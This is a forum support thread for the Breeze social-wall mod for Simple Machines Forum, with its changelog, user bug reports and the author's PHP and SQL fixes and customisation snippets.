Link to Mod (https://custom.simplemachines.org/mods/index.php?mod=3839)
Breeze Social mod
Created by Suki (https://www.simplemachines.org//missallsunday.com)
This mod needs PHP 5.3 or greater and SMF 2.0.x or greaterLicense
This Source Code Form is subject to the terms of the Mozilla Public License, v. 1.1.
If a copy of the MPL was not distributed with this file,
You can obtain one at http://mozilla.org/MPL/
The contents of this package are subject to the Mozilla Public License Version
1.1 (the "License"); you may not use this package except in compliance with
the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
*
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
for the specific language governing rights and limitations under the
License.
IntroductionBreeze is a social mod for your users to turn their dull profile into a dynamic wall where they can post status and comments. Comes with the following features:
- No file edits, works with all themes.
- Users individual settings, each user defines her/his own settings.
- Mentions for status and comments.
- Notifications for several features.
- General wall page for displaying your buddies latest activity.
- Couple of blocks for showing your buddies, visitors, latest activity and about me block.
- Works with or without JavaScript.
Supported Languageso English/utf8
o Spanish_latin/utf8
o Portuguese_Brazilian/utf8
o Turkish/utf8
I welcome translations, please post it on the support site ;)
InstallationUse the package manager to install this modification, Breeze will work with all themes.
Tested on PHP 5.3 and 5.4, Opera12, IE8 and whatever version Firefox was when I tested it.
This mod uses the following scripts- [jQuery] (http://jquery.com/)
- [Facebox] (https://github.com/defunkt/facebox)
- [needim noty jquery plugin] (http://needim.github.com/noty/)
- [ichord Mentions autocomplete script] (http://ichord.github.com/At.js)
- [ikons from Piotr Kwiatkowski] (http://ikons.piotrkwiatkowski.co.uk)
- [DOMPurify] (https://github.com/cure53/DOMPurify)
Changelog
1.0.15 June 20, 2021
- Make sure breezeTrackViews() returns an array.
1.0.14 August 26, 2018
- Add support for PHP 7.
1.0.13 March 17, 2018
- Add admin setting for the general wall
- Prevent loading status and activity from users on your ignored list.
1.0.12 May 5, 2017
- Concatenation on $txt strings
- Add a "live from the support site" atom box
- Use caret and atwho min versions on single status page
- Update atwho.js
1.0.11 April 15, 2017
- Add Turkish and Portuguese_Brazilian translations
- Normalize and schemaless the support url
- Remove the "live from the support site" rss box
1.0.10 May 24, 2016
- Update atwho and caret, use min versions.
- Add support for Ohara youtube mod.
- Remove purify call on submitted content to prevent double encoding.
1.0.9 Oct 29, 2015
- Fix a missing semicolon preventing users form using the mentions feature on their walls.
- Replace $this->_smcFunc with global $smcFunc.
1.0.8 Jun 29, 2015
- Fix a security issue allowing users to post status and messages as another user. Thanks to JSX3 for reporting it.
1.0.7 Oct 22, 2014
This release adds a new security layer by implementing the DOMPurify library to both comments and status messages.
It also fixes a wrong version on package-info.xml as well as adding the current version to the version tag on all files.
1.0.6 Jul 3, 2014
- This release fixes a bug introduced in the 1.0.5 version which prevented users from saving their options, it also improves the security fix introduced in the 1.0.5 release.
1.0.5 May 30, 2014
- !Make BreezeData::sanitize() a recursive functions for handling arrays.
1.0.4 May 4, 2014
- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.
1.0.3 Apr 12, 2014
- Add BreezeQuery::getStatus() to allow users to get status data directly from the DB
- Fixed silly bugs with error strings
- BreezeQuery::getCount() now work with arrays, each element gets casted as integer before passing the array to avoid errors. It also removes the need to pass sql code, it now needs the column name only.
1.0.2 Mar 23, 2014
- Fixes an issue where users will get notified about new topics on boards they cannot see. Thanks to br360 for the report.
- Add support for accounts that were deleted but still has activity recorded.
- Css files were merged and minified, thanks to Antes
- Other small fixes/improvements.
1.0.1 Mar 2, 2014
- Notifications were pretty broken and with unfinished code.
- Changed the value column in breeze_options to a text field
- Weird css on breeze.css was interfering with the forum's style.
- Missed a text string for permissions and fixed a logic issue as well, users weren't able to post new comments even though they have the appropriated permissions to do so.
- New status were appended to a non-existent div.
- Disabling the wall didn't hide the button on the profile menu.
- Support feed url uses a scheme-less url for servers using https
- Typos and corrections on language strings.
- Fixed a logic issue when posting a new comment, the code wrongly assumed the poster and the profile owner were the same person.
- Added a new notification for the profile owner when someone made a comment on any status on their own wall.
1.0 - Windmill
Initial release
You can't change peeps their settings as admin?
No, you can't.
Perfect! :)
So, I have the "online" and "Show Posts" appear next to each other.
Also, how does the mention thingy works?
Mentioning as well as be "mentionable" are permissions, people need to have those permissions in order to mention someone.
You just need to type @ followed by the name you want, after the 3 letter the script will show you a list of possible mentionable users.
Great job, Suki!!! I have the old, out of date, support abandoned, paid for SMF Social mod. This looks like a much better alternative.
The main question, is it compatible with Ultimate Profile? And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
Nice job Suki!
I tried this back when it was still in alpha/beta development and liked the concept then... I'll have to figure out which site to start using this on now that it's released. :D
(also posting in this thread so I get notified of questions, updates and information. :) )
Quote from: hcfwesker on March 22, 2014, 11:21:00 PM
Great job, Suki!!! I have the old, out of date, support abandoned, paid for SMF Social mod. This looks like a much better alternative.
The main question, is it compatible with Ultimate Profile? And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
I was wondering as well. Since the mod you wrote of the social profiles and the GamerID's aren't on your wall. Would be awesome if it was in any way shape or form.
Quote from: NekoJonez on March 23, 2014, 09:19:29 AMGamerID's
I didn't write that mod, just supplied edits for Nintendo Network ID and Ultimate Profile additions.
Quote from: hcfwesker on March 22, 2014, 11:21:00 PMis it compatible with Ultimate Profile?
Never mind this. Just noticed it creates it's own page for wall viewing. So, obviously it's compatible. :)
Out of curiosity, would it be possible to have it show ALL member statuses, too, on a page? Kinda like the other social mod had, where it showed all member statuses, then a side bar link to show only buddy's statuses. Not many people actually use the buddy system and would miss out on other members statuses that may interests them.
Quote from: NekoJonez on March 23, 2014, 09:19:29 AM
Quote from: hcfwesker on March 22, 2014, 11:21:00 PM
Great job, Suki!!! I have the old, out of date, support abandoned, paid for SMF Social mod. This looks like a much better alternative.
The main question, is it compatible with Ultimate Profile? And, if not, would it be possible ( I will attempt myself) to make just the some parts their own block on ultimate profile pages?
I was wondering as well. Since the mod you wrote of the social profiles and the GamerID's aren't on your wall. Would be awesome if it was in any way shape or form.
If a mod uses the custom profiled fields then it will appear on the users wall, the same for the lighbox that appear whenever you click on an users avatar.
Quote from: hcfwesker on March 23, 2014, 04:50:34 PM
Quote from: NekoJonez on March 23, 2014, 09:19:29 AMGamerID's
I didn't write that mod, just supplied edits for Nintendo Network ID and Ultimate Profile additions.
Quote from: hcfwesker on March 22, 2014, 11:21:00 PMis it compatible with Ultimate Profile?
Never mind this. Just noticed it creates it's own page for wall viewing. So, obviously it's compatible. :)
Out of curiosity, would it be possible to have it show ALL member statuses, too, on a page? Kinda like the other social mod had, where it showed all member statuses, then a side bar link to show only buddy's statuses. Not many people actually use the buddy system and would miss out on other members statuses that may interests them.
It is possible, just not something I would recommend. Having everyones activity on a single page will be a bad idea for busy forums.
My plan was to turn the buddy system into a "follow" system or keep the buddy system and also implement the follow one, that way you can follow whoever you want and their activities will be shown to you.
Anyway, theres a new version 1.0.2 that fixes a bug where you were notified of new topics on boards you cannot see and other minor small improvements.
No need to uninstall/install, just upload the mod's Sources and Themes to your forum's root.
Is there any option to edit/remove posts on walls or it isn't possible?
Editing is not possible at the moment, its a feature I want to add for future versions.
There are 3 permissions related to removing:
Delete all comments on any wall
Delete their own comments.
Delete comments made on their own profile.
and the same for Status.
You need to assign the permissions you want for your usergroups, for example, the delete all comments/status on any wall will commonly be granted to global moderators or other groups with some kind of authority on your forum.
Suki, this mod is awesome, and thank you very much for the 1.0.2 update.
I was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?
Quote from: br360 on March 24, 2014, 07:40:59 PMI was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?
If not from the admin menu, an alternative is you could remove the code section for visitors from the template file, so it doesn't appear at all on any wall pages.
I could live with that, just not sure exactly what part of the code to remove without screwing something else up or causing errors. I'm thinking maybe deleting this out of Breeze.template.php. but not 100% sure.
// Visitors
if (!empty($context['Breeze']['settings']['owner']['visitors']))
{
echo '
<div class="cat_bar">
<h3 class="catbg">
'. $txt['Breeze_tabs_views'] .'
</h3>
</div>';
echo '
<div class="windowbg2">
<span class="topslice"><span> </span></span>
<div class="content BreezeList">';
if (!empty($context['Breeze']['views']))
breeze_user_list($context['Breeze']['views'], 'visitors');
// No visitors :(
else
echo $txt['Breeze_user_modules_visitors_none'];
echo '
</div>
<span class="botslice"><span> </span></span>
</div>';
}
Would that be the correct code?
Quote from: br360 on March 24, 2014, 07:40:59 PM
Suki, this mod is awesome, and thank you very much for the 1.0.2 update.
I was wondering; is there a way for an admin to disable the "Latest Visitors" module" altogether, so members wouldn't be able to have this option in their settings at all?
Currently there is no admin setting to determinate which options are available for users but each setting is added via class form which makes it easy to control which parts remove or add more settings. On Sources/Breeze/BreezeUser.php find this.
$form->addCheckBox(
'visitors',
!empty($userSettings['visitors']) ? true : false
);
And either comment it out or remove it, this will prevent users from having the option to have a profile visitors block.
if you want to remove the code from the template then yes, the code you posted is the one that shows that block.
Amazing and well done suki i was a big fan of the early versions. also is there a way to have a portal block.
To have a portal block inside the users wall or to have some info from this mod as a portal block?
Quote from: Suki on March 25, 2014, 09:30:15 PM
To have a portal block inside the users wall or to have some info from this mod as a portal block?
My guess would be a portal block, with info from the mod to be shown on the portal page or forum. Which could show the most recent (5 or so) status updates from all users(or buddies only).
Quote from: hcfwesker on March 26, 2014, 12:34:29 AM
Quote from: Suki on March 25, 2014, 09:30:15 PM
To have a portal block inside the users wall or to have some info from this mod as a portal block?
My guess would be a portal block, with info from the mod to be shown on the portal page or forum. Which could show the most recent (5 or so) status updates from all users(or buddies only).
Exactly right just some info most recent ect.
Oh sure. what exactly do you want to show?
show the most recent (5 or so) status updates from all users would be cool.
mmm, I used to have generic functions to get status and comments, unfortunately, I introduced the paginaiton and the load more button so the those functions became more and more specific towards a single use.
I will include a generic method for both status and comments, in the meantime you can use this method:
/**
* BreezeQuery::getStatus()
*
* Get all status made by X users. no pagination, no other special code.
* @param int|array $id the ID(s) of the user(s) to get the status from. If left empty the functon will load all available status.
* @param boolean $getComments Whether or not to include comments made on each status.
* @param int $limit How many status do you want to retrieve.
* @param string $sort Sorting for retrieving the data, by default is set to DESC (most recent)
* @return array An array containing all the status made by those users, two keys, data and users
*/
public function getStatus($id = false, $getComments = false, $limit = 5, $sort = 'status_id DESC')
{
// Declare some generic vars, mainly to avoid errors
$return = array(
'data' => array(),
'users' => array(),
);
$statusIDs = array();
$id = !empty($id) ? (array) $id : false;
// Fetch the status.
$result = $this->_smcFunc['db_query']('', '
SELECT '. implode(', ', $this->_tables['status']['columns']) .'
FROM {db_prefix}'. ($this->_tables['status']['table']) .'
'. (!empty($id) ? 'WHERE status_owner_id IN({array_int:owner})' : '') .'
ORDER BY {raw:sort}
LIMIT {int:limit}',
array(
'owner' => $id,
'sort' => $sort,
'limit' => $limit,
)
);
// Populate the array like a big heavy boss!
while ($row = $this->_smcFunc['db_fetch_assoc']($result))
{
// Are we also fetching comments?
if ($getComments)
$statusIDs[] = $row['status_id'];
$return['data'][$row['status_id']] = array(
'id' => $row['status_id'],
'owner_id' => $row['status_owner_id'],
'poster_id' => $row['status_poster_id'],
'time' => $this->tools->timeElapsed($row['status_time']),
'time_raw' => $row['status_time'],
'body' => $this->parser->display($row['status_body']),
'comments' => array(),
);
// Get the users IDs
$return['users'][] = $row['status_owner_id'];
$return['users'][] = $row['status_poster_id'];
}
$this->_smcFunc['db_free_result']($result);
// Now get the comments for each status.
if ($getComments && !empty($statusIDs))
{
$result = $this->_smcFunc['db_query']('', '
SELECT '. implode(', ', $this->_tables['comments']['columns']) .'
FROM {db_prefix}'. ($this->_tables['comments']['table']) .'
WHERE comments_status_id IN({array_int:status})
ORDER BY comments_id ASC
',
array(
'status' => $statusIDs,
)
);
// Append the data to our main return array
while ($row = $this->_smcFunc['db_fetch_assoc']($result))
{
$return['data'][$row['comments_status_id']]['comments'][$row['comments_id']] = array(
'id' => $row['comments_id'],
'status_id' => $row['comments_status_id'],
'status_owner_id' => $row['comments_status_owner_id'],
'poster_id' => $row['comments_poster_id'],
'profile_id' => $row['comments_profile_id'],
'time' => $this->tools->timeElapsed($row['comments_time']),
'time_raw' => $row['comments_time'],
'body' => $this->parser->display($row['comments_body']),
);
// Append the users IDs.
$return['users'][] = $row['comments_poster_id'];
}
$this->_smcFunc['db_free_result']($result);
}
// Clean it a bit
if (!empty($return['users']))
$return['users'] = array_values(array_filter(array_unique($return['users'])));
return $return;
}
put it inside Sources/Breeze/BreezeQuery.php
before this line of comments:
/**
* BreezeQuery::getStatusByProfile()
*
* Get all status made in X profile page. Uses a custom query and store the results on separate cache entries per profile.
* @param int $id the ID of the user that owns the profile page, it does not matter who made that status as long as the status was made in X profile page.
* @return array An array containing all the status made in X profile page
*/
and to use it you can use this on a php block:
global $breezeController;
if (empty($breezeController))
$breezeController = new BreezeController();
$status = $breezeController->get('query')->getStatus();
By default the function will show status made by everyone, will show the latest 5 and will not show comments associated with each status, however, you can change those parameters if you want.
You can modify the following params:
$id = false, $getComments = false, $limit = 5, $sort = 'DESC'
$id is the single ID or an array of IDs from users you want to show the latest status.
$getComments is a boolean value to tell the function if you also want to load all the comments for each status.
$limit is the amount of status to retrieve, by default is 5
$sort is the SQL sort, DESC means get the latest status made but you can add any valid SQL ORDER statement.
If the query fetched something, $status will be an array with 2 keys, users and data, $status['data'] holds all the status as an array, to get the body you can use something like this:
if (!empty($status['data']))
foreach ($status['data'] as $data)
echo $data['body'];
I would be interested in a portal block as well if you make one and would like to include in ezportal as an option.
Well, I will add the generic function I wrote above but since I have no idea how people would want to show the data I cannot provide any HTML for it.
And since status and comments doesn't actually have a title and there isn't really a good way to truncate text with HTML on it, it becomes somehow more difficult to show a list of recent status/comments without actually showing the entire body.
Where is the changelog ... sorry for this but I'm kinda waiting for some stuff to happen to this mod.
???
Since I can't do much with SMF 2.0, all future features will be for SMF 2.1. I have responded to all the questions and fixed all reported bugs, dunno what else do you need.
Nvm my previous post, I was not thinking straight. x)
Anyway, I started working on Breeze 1.1, haven't added any new features but thats because I need to revamp the core first:
- Less code and less files
- No more static methods, while it still relies on a semi-singleton to be able to work with SMF, code is now full OOP.
- It will take full advantage of some of the features I introduced in SMF 2.1, so testing this will also help me debug 2.1
Everything is already done except for the testing.
I don't think I have a list of new features to add, its mainly all on my head but I'm open to suggestions, the only requirement is that this mod should remain editless, that is, no file edits. Other than that pretty much everything goes.
I have the social icon mod and the gamer ID mod installed.
How can I show them on my wall?
I don't know if this is included on the feature settings.
Only your buddy can comment on your wall with the exception of the moderators.
if it is already there, where can I find the settings of it.
Thank you for this mod.
Quote from: NekoJonez on April 05, 2014, 08:49:15 AM
I have the social icon mod and the gamer ID mod installed.
How can I show them on my wall?
If those mods use the custom_profile fields then it will appear automatically, otherwise you will have to add their code manually.
Quote from: ryan_dwight on April 05, 2014, 09:51:21 AM
I don't know if this is included on the feature settings.
Only your buddy can comment on your wall with the exception of the moderators.
if it is already there, where can I find the settings of it.
Thank you for this mod.
Don't really understand your question. No, currently there isn't a setting to allow only buddies to post on your wall.
Quote from: Suki on April 05, 2014, 10:22:43 AM
Don't really understand your question. No, currently there isn't a setting to allow only buddies to post on your wall.
that answers my question.
is this feature possible in the future?
but anyway thanks for this
It depends, the permission system is already pretty convulsive, not to mention the whole buddy system is somehow flawed.
For example, how would you define a buddy, should both users, the wall owner and the wall poster be buddies to each other?
What would happen if the poster has the wall owner as buddy but the wall owner doesn't have the poster as buddy? or the other way around?
QuoteFor example, how would you define a buddy, should both users, the wall owner and the wall poster be buddies to each other?
yes this is what i mean.
QuoteWhat would happen if the poster has the wall owner as buddy but the wall owner doesn't have the poster as buddy? or the other way around?
but on this one, I never thought that it is complicated. ignore my suggestion on this buddy thing lol
thanks for your reply
I suppose the mod should take the wall owner buddy list as reference, that is, if the wall owner has the poster on her/his buddy list then the poster will be able to post.
But this also raises more issues, what would happen if the person wants to reply to a status posted by a third person? in this case we have 3 different persons:
- The wall owner
- The user who posted the status
- The user who wants to comment on that specific status.
What buddy list should be used as reference? the wall owner one or the status owner one? In theory I should use the wall owner list but the more factors I add the more complicate it becomes.
Setting needs to be based on Wall Owner's. eg;
> Public (everyone can post under it)
> Friends of friends (wall owner's friends' friends can post under it)
> Friends only (wall owner's friends)
> Private (wall owner's friends can only see it but none can write under it)
The same issue still applies, how exactly do you define been buddies? does it needs to be a reciprocal friendship or just one side friendship?
Theres also the issue with applying the messy permission system, the current permission system has 4 factors (wall owner, poster owner, comment owner and current poster) that alone creates up to 16 possible factors and I need to include all of them. Adding the buddy system will escalate the number of factors to considerate exponentially. Not something I want to deal with.
A much more simpler approach would be to only allow buddies to see your wall, just like the ability to deny users on your ignore list to see your wall.
Get wall owner's buddy list as the "friend(s) list". ? (The best option in my mind for now :P)
good mod thanks suki
Antes mod turkish lang pls :P
Quote from: snrj on April 07, 2014, 12:37:08 PM
good mod thanks suki
Antes mod turkish lang pls :P
There will be a translation but currently dealing with mid-term exams so you have to wait at least 2 more weeks.
Hey,
That @mentions thing is only applicable in comments and statuses??
Can you make it global ?? mentions should rather work in any post or reply you make..
This package is a bit bugged.
After enabling this, I cannot see the summary profile. Only the wall. Even when I click on the summary option, as an administrator, I cannot see any information about someone, not location, not age, not username, not IP. Nothing.
Quote from: desai_amogh on April 09, 2014, 05:10:51 AM
Hey,
That @mentions thing is only applicable in comments and statuses??
Can you make it global ?? mentions should rather work in any post or reply you make..
It would require a couple of file edits which goes against my policy with this mod. If I can find some time I will post a guide on how to enable mentions for posts.
Quote from: player.samp on April 09, 2014, 07:15:00 AM
This package is a bit bugged.
After enabling this, I cannot see the summary profile. Only the wall. Even when I click on the summary option, as an administrator, I cannot see any information about someone, not location, not age, not username, not IP. Nothing.
There is a whole new section for the summary page:
index.php?action=profile;area=static
I added two links to that page, on in the profile menu and another one in the main menu.
Hi,
Can you help me on this critical error
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?action=wall
Apply Filter: Only show the errors with the same message
Wrong value type sent to the database. Array of integers expected. (data)
Function: getCount
Apply Filter: Only show the errors from this file
File: /Sources/Breeze/BreezeQuery.php
Line: 177
170: $result = $this->_smcFunc['db_query']('', '
171: SELECT status_id
172: FROM {db_prefix}breeze_status
173: WHERE '. ($where),
174: array(
175: 'data' => $data
176: )
==>177: );
178:
Thank you
On your Sources/Breeze/BreezeQuery.php file put this:
global $user_info;
if ($user_info['is_admin'])
var_dump($data);die;
right below this line:
if (empty($data) || empty($where))
return $count;
and go visit that page again logged in as an admin, it should give you a blank page with some data, post that data here.
array(29) { [0]=> string(4) "1127" [1]=> string(4) "1745" [2]=> string(4) "1833" [3]=> string(3) "181" [4]=> string(4) "2947" [5]=> string(4) "3837" [6]=> string(4) "3552" [7]=> string(3) "262" [8]=> string(4) "2625" [9]=> string(4) "5097" [10]=> string(4) "4013" [11]=> string(4) "3782" [12]=> string(4) "8899" [13]=> string(4) "7520" [14]=> string(4) "1999" [15]=> string(3) "394" [16]=> string(4) "4984" [17]=> string(5) "10471" [18]=> string(2) "61" [19]=> string(5) "11196" [20]=> string(5) "11449" [21]=> string(3) "633" [22]=> string(5) "12518" [23]=> string(4) "6477" [24]=> string(4) "2187" [25]=> string(5) "13811" [26]=> string(5) "13868" [27]=> string(5) "13960" [28]=> string(2) "20" }
here's the data
edit:
i don't know if this is the effect when I edited but if i click on my profile i had a white screen with this
string(1) "1"
OK, replace this code:
global $user_info;
if ($user_info['is_admin'])
var_dump($data);die;
with
$data = array_map('intval', $data);
That should take care of the error. Yes, both the wall page and the users profile shares the same common background code thats why when you went to your profile page there was also a blank page with some data on it..
i got a new error
when i click the wall on my profile
Quote
An Error Has Occurred!
The database value you're trying to insert does not exist: data
mm, thats strange, ca you post the full code in the protected function getCount($data, $where) function, that is, the code between { and }
Nevermind, I forgot I used a different type of var depending on who was the one calling this method, to avoid that I normalized the method to always expect an array and/or convert another type to an array. Expensive but easier and much more generic.
Use the attached file, just replace the old one at /Sources/Breeze/ with this one.
Going to release a new patch later.
ooops i just sent you message.
its working now thanks Suki
New release: 1.0.3
This new release fixes new found bugs:
- Add BreezeQuery::getStatus() to allow users to get status data directly from the DB
- Fixed silly bugs with error strings
- BreezeQuery::getCount() now work with arrays, each element gets casted as integer before passing the array to avoid errors. It also removes the need to pass sql code, it now needs the column name only.
To update you need to get the package, unzip it and upload the Themes and Sources directories to your forum root, that is, overwriting the old Breeze files.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.3
The green button is a ready to install package.
Hi Suki
after I reinstall the update I had this critical error
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?action=wall
Apply Filter: Only show the errors with the same message
Wrong value type sent to the database. Array of integers expected. (id)
Function: getStatusByUser
Apply Filter: Only show the errors from this file
File: /Sources/Breeze/BreezeQuery.php
Line: 623
oh, I didn't realize BreezeQuery::getStatusByUser() was using the same buddy list full of strings :(
the same solution applies here as well, on that file find these lines (around line 605):
// Work with arrays
$id = (array) $id;
and replace with:
// Work with arrays
$id = array_map('intval', (array) $id);
Great mod Suki! I have a quoestion, will you planning add a "general wall" where all users can post their statuses etc.? :)
Well, the general wall is already there, is just based on a per user setting and their buddy list, changing that wall to a general wall where you can see all the activity from all users on a forum isn't really that difficult, just a matter of removing the LIMIT conditional on the specific method that handles the general wall status.
A great mod, thankyou. :)
Any chance of members being able to attach or insert images etc into their wall posts?
Also for the forum noobs who will stuff up the BB codes, is it possible for the standard post option like emoticons, bold, font face, color etc to be shown above or below the wall post box, same as in the general forum?
Kind regards,
Unfortunately, an attachment system would be needed to be coded from scratch and it will cause several issues, from security to file permissions problems.
I don't know about including the editor, the text area is pretty small and including a rich text editor several times on a page can slow down the user's browser.
Theres a lot of things I would like to add, unfortunately, I need to spend most of my time on SMFs development so I cannot dedicate as much time to this as I used to.
New version.
Another release, this release fixes some new bugs that were found on previous versions:
- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.
To update, uninstall the previous version without checking the "Remove al data associated with this modification" checkbox and install the new version.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.4
The green button is a ready to install package. The mod page here also has the latest version.
Great suki!! I'll see that such.
Thank you! and greetings from mexico ;)
thanks a lot for your mod, is nice
regards
:D
Quote from: Suki on May 04, 2014, 09:48:56 PM
New version.
Another release, this release fixes some new bugs that were found on previous versions:
- Fixed checking a wrong variable on BreezeQuery:getCount() which prevented to get the real count.
- Convert to an array of integers the passed value on BreezeQuery:getCount() to prevent weird servers to give errors.
- The load more feature on the general wall wasn't working because userID wasn't defined.
- On the createTopic log and any other log, use the username instead of the real name.
To update, uninstall the previous version without checking the "Remove al data associated with this modification" checkbox and install the new version.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.4
The green button is a ready to install package. The mod page here also has the latest version.
with this update should I apply the previous solution on the white screen issue? because i have the same problem now. Thanks
ok I solved the problem on whitescreen by increasing memory to 256m in the php.ini
I hope that will not cause any complications.
Yeah, the whitescreen problem isn't entirely related to this mod so the new version will not do anything to mitigate that.
New release: 1.0.5.
This release fixes a security issue found on the mod so I urge everyone using any old versions to update to this latest release.
https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.5
Green button is a ready to install package.
Modsite page is already updated with the new version.
Some more info: http://missallsunday.com/news_and_updates/breeze_1.0.5_491.0.html
On Notifications,Can i be notified by private message when a new post is posted on my wall or a buddies wall?
I have this error
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?topic=37638.570
Apply Filter: Only show the errors with the same message
2: apc_store() [<a href='function.apc-store'>function.apc-store</a>]: Potential cache slam averted for key '7e5058e34de75107f666960f2d97add0-SMF-Breeze-options-27smf'
Apply Filter: Only show the errors from this file
File: /home/ptcb/public_html/Sources/Load.php
Line: 2833
Quote from: MotRude on May 31, 2014, 11:36:04 AM
On Notifications,Can i be notified by private message when a new post is posted on my wall or a buddies wall?
The buddies wall is just a compilation of your buddies posts, it wouldn't be wise to send a pm whenever a buddy post a new status.
As for your own wall, sure, you can add your code right after this:
// All went good or so it seems...
if (!empty($this->_params['id']))
{
on Sources/Breeze/BreezeAjax.php
There are 2 vars:
$statusOwner <--- is the profile owner
$statusPoster <--- the person who postd the status.
Just do a quick check to avoid PMing yourself:
if ($statusOwner != $statusPoster)
{
// the send pm code here
}
Or if you're familiar with using the hook system, theres a hook you can use:
call_integration_hook('integrate_breeze_after_insertStatus', array($this->_params));
theres a built function for sending a pm already, just take a look at some omd that does it and copy the code from there.
Quote from: ryan_dwight on June 02, 2014, 08:51:33 AM
I have this error
Apply Filter: Only show the error messages of this URL
http://www.myforum.com/index.php?topic=37638.570
Apply Filter: Only show the errors with the same message
2: apc_store() [<a href='function.apc-store'>function.apc-store</a>]: Potential cache slam averted for key '7e5058e34de75107f666960f2d97add0-SMF-Breeze-options-27smf'
Apply Filter: Only show the errors from this file
File: /home/ptcb/public_html/Sources/Load.php
Line: 2833
Thats an APC cache error on old APC versions, tell your host about it.
Is it possible to by default turn on these options for all members?
- Enable the general wall
- Enable the "Buddies" block.
- Enable the "Latest Visitors" module.
Notifications Settings:
- Notify me when someone post a new status on my wall
- Notify me when someone comments on my status
- Notify me when someone made a comment on an status made on my wall
- Notify me when someone mentions me.
I would like to turn all of those option on by default if possible.
Thanks for a great mod once again Suki! ;)
Currently there is no way to do that from the admin panel, you will need to run a query on phpMyadmin or some test.php file with SSI.php included
All user options are stored in {db_prefix}breeze_options much like how SMF stores generic values on {db_prefix}settings
To change specific settings you will need to do an update query, this is the query formatted for SMf:
$smcFunc['db_query']('', '
UPDATE {db_prefix}breeze_options
SET value = 1
WHERE variable IN ({array_string:settings})'),
array(
'settings' => array('enable_wall', 'buddies', 'visitors', 'noti_on_status', 'noti_on_comment', 'noti_on_comment_owner', 'noti_on_mention',),
)
);
I Can't active my own wall, notifications.. I have activated the mod but I can't see the wall?¿
In 'smf_log_errors' table of database appears
2: stripslashes() expects parameter 1 to be string, array given
/home/public_html/Sources/Breeze/BreezeData.php line 130
Sorry for my english
mmm, that indicates theres a logic issue with the last change I made, ideally you don't have to check for get_magic_quotes_gpc() if your passed data is an array, recursiveness will do that for you. Will take a look at it.
You're using an outdated php version or you have magic quotes enable, that will create some issues for you.
Sorry, it's sound like chinese to me . Only i can show it's my php version
(http://i.imgur.com/WnqOc8Z.png)
and I don't know what is 'magic quotes' . Anyway thanks for the aswer
Its a logic bug on Breeze I should take care of.
The rest of the stuff about magic quotes is just something incidental, if you're indeed using php 5.3 then your host actually turned magic quotes ON for some reason, even though they should been deprecated, anyway, SMF supports it so I guess theres no real issue there.
Just installed the mod and it functions perfectly, but I'm afraid I'm getting a jQuery conflict with another mod I use. The profile parts are there, but they're not as they are in the screenshots, they're vertically down the page so I feel fairly sure it's a JS issue as I just had the same problem earlier.
Is there any way around that? I didn't know where to look in this mod to try and disable it so it can use the other instance I already use.
A link to a profile page would help. This mod checks if there is an instance of jquery already and only loads it if it doesn't, sadly, most mod authors just don't do that.
Another possible issue is some other mod incorrectly stuffing $context['html_headers'].
I suspect the latter...
Quote from: Suki on June 09, 2014, 10:25:14 AM
Currently there is no way to do that from the admin panel, you will need to run a query on phpMyadmin or some test.php file with SSI.php included
All user options are stored in {db_prefix}breeze_options much like how SMF stores generic values on {db_prefix}settings
To change specific settings you will need to do an update query, this is the query formatted for SMf:
$smcFunc['db_query']('', '
UPDATE {db_prefix}breeze_options
SET value = 1
WHERE variable IN ({array_string:settings})'),
array(
'settings' => array('enable_wall', 'buddies', 'visitors', 'noti_on_status', 'noti_on_comment', 'noti_on_comment_owner', 'noti_on_mention',),
)
);
Thanks Suki.
I did that, and it seems like some options are now changed, but some like "Enable my wall ", "Enable the general wall", "Enable the "Buddies" block" and "Enable the "Latest Visitors" module" are not enabled at all.
Thats weird then, that query should set everything to 1.
You can also do it manually from phpMyadmin by running the same query on sql format.
I think we have a similar problem.
I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.
then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.
This is very useful, thanks.
Quote from: ryan_dwight on June 30, 2014, 10:24:20 AM
I think we have a similar problem.
I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.
then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.
I've been trying to replicate this but I've been unable to do so.
Is there any error on the error log?
Quote from: Suki on July 01, 2014, 11:04:16 AM
Quote from: ryan_dwight on June 30, 2014, 10:24:20 AM
I think we have a similar problem.
I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.
then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.
I've been trying to replicate this but I've been unable to do so.
Is there any error on the error log?
I don't see any related error on the log.
hello Suki!
i've been looking for something like this (an improved member profile from SMF's very basic one). thank you for coming up with this! ;D
i've just installed your Mod on my site, and while i was testing things out i noticed that the messages i just typed wouldnt show up after i click the "Post" button. instead i see a gray bar popping at the top of the browser (outlined in a red square in my attached screenshot below). its only AFTER i refresh/ reload the page does my message show up. (i'm using Chrome as the browser).
